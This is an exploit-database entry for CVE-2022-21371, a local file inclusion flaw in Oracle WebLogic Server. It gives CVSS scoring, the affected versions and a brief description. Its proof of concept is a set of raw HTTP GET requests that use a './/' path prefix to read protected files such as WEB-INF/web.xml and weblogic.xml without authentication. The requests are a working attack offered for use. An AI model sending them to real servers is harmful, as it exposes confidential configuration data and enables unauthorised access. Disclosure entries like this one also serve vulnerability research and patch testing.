Oracle WebLogic Server 14.1.1.0.0 Local File Inclusion

2022-01-2700:00:00

Jonah Tan

packetstormsecurity.com

390

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

JSON

`# Exploit Title: Oracle WebLogic Server 14.1.1.0.0 - Local File Inclusion  
# Date: 25/1/2022  
# Exploit Author: Jonah Tan (@picar0jsu)  
# Vendor Homepage: https://www.oracle.com  
# Software Link:  
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html  
# Version: 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0  
# Tested on: Windows Server 2019  
# CVE : CVE-2022-21371  
  
# Description  
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion  
Middleware (component: Web Container).  
Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0  
and 14.1.1.0.0.  
Easily exploitable vulnerability allows unauthenticated attacker with  
network access via HTTP to compromise Oracle WebLogic Server.  
Successful attacks of this vulnerability can result in unauthorized access  
to critical data or complete access to all Oracle WebLogic Server  
accessible data.  
  
# PoC  
GET .//META-INF/MANIFEST.MF  
GET .//WEB-INF/web.xml  
GET .//WEB-INF/portlet.xml  
GET .//WEB-INF/weblogic.xml  
  
`